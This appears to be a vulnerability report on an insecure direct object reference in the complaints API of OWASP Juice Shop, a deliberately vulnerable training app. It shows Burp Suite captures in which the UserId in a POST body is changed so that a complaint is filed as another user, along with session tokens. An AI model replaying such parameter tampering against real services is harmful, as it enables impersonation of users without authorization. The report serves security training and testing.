IDOR in **/api/Feedbacks/** Allows users to send complain as other users by changing the USER-ID

Desc> In the **'post data'** there is a 'user ID' that could be changed to another user-id so this will allow a user to send their complain as other users and remaining hidden!

POC

1. Login to juice-shop

2. go to complain

on the left side menu and click on ' complain'; https://juice-shop.herokuapp.com/#/complain

3. Give ur complain and 'Intercept the request while hit submit' and send it to repeater

POST /api/Complaints/ HTTP/1.1

Host: juice-shop.herokuapp.com

,,,

File Machine View Input Devices Help

OWASP Juice Shop — https://juice-shop.herokuapp.com/#/complain

Complaint

Customer: test@tesla.com

Message *: Hello i am Mustafa

Max. 160 characters 18/160

Invoice: Choose File No file chosen

Submit

Burp Suite Community Edition v2023.10.2.5 - Temporary Project

Request to https://juice-shop.herokuapp.com:443 [54.73.53.134]

Forward | Drop | Intercept is on | Action | Open browser

```
POST /api/Complaints/ HTTP/1.1
Host: juice-shop.herokuapp.com
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=
1bG7otPSLtQc7FDfXjuqgtLOInPuD5hlbuWrtPmUrRuDbIR1C9bTl2U24GnL; token=
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGFOdXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjQsInVzZXJuYWllIjoiIiwiZWlhaWwiOiJ0ZXN0Q
HRlc2xhLmNvbSIsInBhc3NSb3JkIjoiMjVkNTVhZDI4M2FhNDAwYWYONjRjNzZkNzEzYzA3YWQiLCJyb2xlIjoiY3VzdG9tZXIiLCJkZWx1eGVUb2tlbiI6IiI
sImxhc3RMb2dpbklwIjoidW5kZWZpbmVkIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaWlhZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU
2VjcmVOIjoiIiwiaXNBY3RpdmUiOnRydWUsInNyZWF0ZWRBdCI6IjIwMjMtMTEtMTIgMDk6NDg6MjQuNTI4ICswMDowMCIsInVwZGFO2WRBdCI6IjIwMjMtMTE
tMTIgMTA6MDY6MDEuMzQ0ICswMDowMCIsInRlbGVO2WRBdCI6bnVsbHOsImlhdCI6MTY5OTc4NDM4MHO.eznPGbfPK4z5vXVMjzAQIlwRoI3_nMOJ5fL3KQFT0
NOQaSFxZXtRikiSEh3IhYCzPouCQ2lVGDdQOWvjOTsTDLKTizyzAxrJoUJ9kGjKk_Wvt8DkzQOsa7IfX2Lx3C63lpCfWaieIIkLu4OkXbNrTXlPXJV9jUIhEW6
rJNdAJ_8
Content-Length: 44
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Accept: application/json, text/plain, */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGFOdXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjQsInVzZXJuYWllIjoiIiwiZWlhaWwiOiJ0ZXN0Q
HRlc2xhLmNvbSIsInBhc3NSb3JkIjoiMjVkNTVhZDI4M2FhNDAwYWYONjRjNzZkNzEzYzA3YWQiLCJyb2xlIjoiY3VzdG9tZXIiLCJkZWx1eGVUb2tlbiI6IiI
sImxhc3RMb2dpbklwIjoidW5kZWZpbmVkIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaWlhZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU
2VjcmVOIjoiIiwiaXNBY3RpdmUiOnRydWUsInNyZWF0ZWRBdCI6IjIwMjMtMTEtMTIgMDk6NDg6MjQuNTI4ICswMDowMCIsInVwZGFO2WRBdCI6IjIwMjMtMTE
tMTIgMTA6MDY6MDEuMzQ0ICswMDowMCIsInRlbGVO2WRBdCI6bnVsbHOsImlhdCI6MTY5OTc4NDM4MHO.eznPGbfPK4z5vXVMjzAQIlwRoI3_nMOJ5fL3KQFT0
NOQaSFxZXtRikiSEh3IhYCzPouCQ2lVGDdQOWvjOTsTDLKTizyzAxrJoUJ9kGjKk_Wvt8DkzQOsa7IfX2Lx3C63lpCfWaieIIkLu4OkXbNrTXlPXJV9jUIhEW6
rJNdAJ_8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.6045.105
Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Origin: https://juice-shop.herokuapp.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://juice-shop.herokuapp.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{
  "UserId":24,
  "message":"Hello i am Mustafa"
}
```

Burp Suite Community Edition v2023.10.2.5 - Temporary Project

Target: https://juice-shop.herokuapp.com

Request

```
POST /api/Complaints/ HTTP/1.1
Host: juice-shop.herokuapp.com
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss;
continueCode=1bG7otPSLtQc7FDfXjuqgtLOInPuD5hlbuWrtPmUrRuDbIR1C9bTl2U24GnL; token=
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGFOdXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjQsI
nVzZXJuYWllIjoiIiwiZWlhaWwiOiJ0ZXN0QHRlc2xhLmNvbSIsInBhc3NSb3JkIjoiMjVkNTVhZDI4M2FhNDA
wYWYONjRjNzZkNzEzYzA3YWQiLCJyb2xlIjoiY3VzdG9tZXIiLCJkZWx1eGVUb2tlbiI6IiIsImxhc3RMb2dpb
klwIjoidW5kZWZpbmVkIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaWlhZ2VzL3VwbG9hZHMvZGV
mYXVsdC5zdmciLCJ0b3RwU2VjcmVOIjoiIiwiaXNBY3RpdmUiOnRydWUsInNyZWF0ZWRBdCI6IjIwMjMtMTEtM
TIgMDk6NDg6MjQuNTI4ICswMDowMCIsInVwZGFO2WRBdCI6IjIwMjMtMTEtMTIgMTA6MDY6MDEuMzQ0ICswMDo
wMCIsInRlbGVO2WRBdCI6bnVsbHOsImlhdCI6MTY5OTc4NDM4MHO.eznPGbfPK4z5vXVMjzAQIlwRoI3_nMOJ5
fL3KQFTONOQaSFxZXtRikiSEh3IhYCzPouCQ2lVGDdQOWvjOTsTDLKTizyzAxrJoUJ9kGjKk_Wvt8DkzQOsa7I
fX2Lx3C63lpCfWaieIIkLu4OkXbNrTXlPXJV9jUIhEW6rJNdAJ_8
Content-Length: 46
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Accept: application/json, text/plain, */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGFOdXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjQsI
nVzZXJuYWllIjoiIiwiZWlhaWwiOiJ0ZXN0QHRlc2xhLmNvbSIsInBhc3NSb3JkIjoiMjVkNTVhZDI4M2FhNDA
wYWYONjRjNzZkNzEzYzA3YWQiLCJyb2xlIjoiY3VzdG9tZXIiLCJkZWx1eGVUb2tlbiI6IiIsImxhc3RMb2dpb
klwIjoidW5kZWZpbmVkIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaWlhZ2VzL3VwbG9hZHMvZGV
mYXVsdC5zdmciLCJ0b3RwU2VjcmVOIjoiIiwiaXNBY3RpdmUiOnRydWUsInNyZWF0ZWRBdCI6IjIwMjMtMTEtM
TIgMDk6NDg6MjQuNTI4ICswMDowMCIsInVwZGFO2WRBdCI6IjIwMjMtMTEtMTIgMTA6MDY6MDEuMzQ0ICswMDo
wMCIsInRlbGVO2WRBdCI6bnVsbHOsImlhdCI6MTY5OTc4NDM4MHO.eznPGbfPK4z5vXVMjzAQIlwRoI3_nMOJ5
fL3KQFTONOQaSFxZXtRikiSEh3IhYCzPouCQ2lVGDdQOWvjOTsTDLKTizyzAxrJoUJ9kGjKk_Wvt8DkzQOsa7I
fX2Lx3C63lpCfWaieIIkLu4OkXbNrTXlPXJV9jUIhEW6rJNdAJ_8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/119.6045.105 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Origin: https://juice-shop.herokuapp.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://juice-shop.herokuapp.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{
  "UserId":10,
  "message":"Hello Hacker Mustafa"
}
```

Response

```
HTTP/1.1 201 Created
Server: Cowboy
Report-To:
{"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/
reports?ts=1699979303&sid=812dcc77-0bd0-43b1-a5f1-b25750382959&s=68%2BdONCweh0PyY
dI6%2BIcZCRbc29GtaWMuDxstylTq9Y%3D"}]}
Reporting-Endpoints:
heroku-nel=https://nel.heroku.com/reports?ts=1699979303&sid=812dcc77-0bd0-43b1-a5
f1-b25750382959&s=68%2BdONCweh0PyYdI6%2BIcZCRbc29GtaWMuDxstylTq9Y%3D
Nel:
{"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fracti
on":0.05,"response_headers":["Via"]}
Connection: close
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
Location: /api/Complaints/2
Content-Type: application/json; charset=utf-8
Content-Length: 171
Etag: W/"ab-34fJF33Ub19FXJ6aTwVUBuqD58s"
Vary: Accept-Encoding
Date: Tue, 14 Nov 2023 16:28:23 GMT
Via: 1.1 vegur

{
  "status":"success",
  "data":{
    "id":2,
    "UserId":10,
    "message":"Hello Hacker Mustafa",
    "updatedAt":"2023-11-14T16:28:23.549Z",
    "createdAt":"2023-11-14T16:28:23.549Z",
    "file":null
  }
}
```

Burp Suite Community Edition v2023.10.2.5 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Repeater Intruder Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn Settings

1 ×

Send Cancel

Target: https://juice-shop.herokuapp.com HTTP/1

Request

Pretty Raw Hex

```
1 GET /api/Complaints/ HTTP/1.1
2 Host: juice-shop.herokuapp.com
3 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss;
  continueCode=lbG7otPSLtQc7FDfXjuqgtLOInPuD5hlbuWrtPmUrRuDbIRlC9bTl2U24GnL; token=
  eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjQsI
  nVzZXJuYWllIjoiIiwiZW1haWwiOiJ0ZXN0QHRlc2xhLmNvbSIsInBhc3N3b3JkIjoiMjVkNTVhZDI4M2FhNDA
  wYWY0NjRjNzZkNzEzYzA3YWQiLCJyb2xlIjoiY3VzdG9tZXIiLCJkZWxleGVUb2tlbiI6IiIsImxhc3RMb2dpb
  klwIjoidW5kZWZpbmVkIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaWlhZ2VzL3VwbG9hZHMvZGV
  mYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjMtMTEtM
  TIgMDk6NDg6MjQuNTI4ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjMtMTEtMTIgMTA6MDY6MDEuMzQ0ICswMDo
  wMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTY5OTc4NDM4MH0.ezNPGbfPK4z5vXVMjzAQIlwRoI3_nM0J5
  fL3KQFT0NOQaSFxZXtRikiSEh3IhYCzPouCQ2lVGDdQOWvjOTsTDLKTizyzAxrJoUJ9kGjKk_Wvt8DkzQOsa7I
  fX2Lx3C63lpCfWaieIIkLu40kXbNrTX1PXJV9jUIhEW6rJNdAJ_8
4 Content-Length: 46
5 Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
6 Accept: application/json, text/plain, */*
7 Content-Type: application/json
8 Sec-Ch-Ua-Mobile: ?0
9 Authorization: Bearer
  eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjQsI
  nVzZXJuYWllIjoiIiwiZW1haWwiOiJ0ZXN0QHRlc2xhLmNvbSIsInBhc3N3b3JkIjoiMjVkNTVhZDI4M2FhNDA
  wYWY0NjRjNzZkNzEzYzA3YWQiLCJyb2xlIjoiY3VzdG9tZXIiLCJkZWxleGVUb2tlbiI6IiIsImxhc3RMb2dpb
  klwIjoidW5kZWZpbmVkIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaWlhZ2VzL3VwbG9hZHMvZGV
  mYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjMtMTEtM
  TIgMDk6NDg6MjQuNTI4ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjMtMTEtMTIgMTA6MDY6MDEuMzQ0ICswMDo
  wMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTY5OTc4NDM4MH0.ezNPGbfPK4z5vXVMjzAQIlwRoI3_nM0J5
  fL3KQFT0NOQaSFxZXtRikiSEh3IhYCzPouCQ2lVGDdQOWvjOTsTDLKTizyzAxrJoUJ9kGjKk_Wvt8DkzQOsa7I
  fX2Lx3C63lpCfWaieIIkLu40kXbNrTX1PXJV9jUIhEW6rJNdAJ_8
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
   Gecko) Chrome/119.0.6045.105 Safari/537.36
11 Sec-Ch-Ua-Platform: "Linux"
12 Origin: https://juice-shop.herokuapp.com
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://juice-shop.herokuapp.com/
17 Accept-Encoding: gzip, deflate, br
18 Accept-Language: en-US,en;q=0.9
19 Priority: u=1, i
20 Connection: close
21
22 {
     "UserId":10,
     "message":"Hello Hacker Mustafa"
   }
```

Search 0 highlights

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: Cowboy
3 Report-To:
  {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/
  reports?ts=1699979498&sid=812dcc77-0bd0-43b1-a5f1-b25750382959&s=mKarSpO7xYjTPeYs
  LSB9T4A3YJoDp6kf6zMNf7vg3Os%3D"}]}
4 Reporting-Endpoints:
  heroku-nel=https://nel.heroku.com/reports?ts=1699979498&sid=812dcc77-0bd0-43b1-a5
  f1-b25750382959&s=mKarSpO7xYjTPeYsLSB9T4A3YJoDp6kf6zMNf7vg3Os%3D
5 Nel:
  {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fracti
  on":0.05,"response_headers":["Via"]}
6 Connection: close
7 Access-Control-Allow-Origin: *
8 X-Content-Type-Options: nosniff
9 X-Frame-Options: SAMEORIGIN
10 Feature-Policy: payment 'self'
11 X-Recruiting: /#/jobs
12 Content-Type: application/json; charset=utf-8
13 Content-Length: 363
14 Etag: W/"16b-cZuoOAh2n61KNztuy8+ozRSTVQY"
15 Vary: Accept-Encoding
16 Date: Tue, 14 Nov 2023 16:31:38 GMT
17 Via: 1.1 vegur
18
19 {
     "status":"success",
     "data":[
       {
         "UserId":3,
         "id":1,
         "message":
         "I'll build my own eCommerce business! With Black Jack! And Hookers!",
         "file":null,
         "createdAt":"2023-11-14T15:51:13.857Z",
         "updatedAt":"2023-11-14T15:51:13.857Z"
       },
       {
         "UserId":10,
         "id":2,
         "message":"Hello Hacker Mustafa",
         "file":null,
         "createdAt":"2023-11-14T16:28:23.549Z",
         "updatedAt":"2023-11-14T16:28:23.549Z"
       }
```

Search 0 highlights

Done 1,254 bytes | 238 millis

ENG UK 18:32 14/11/2023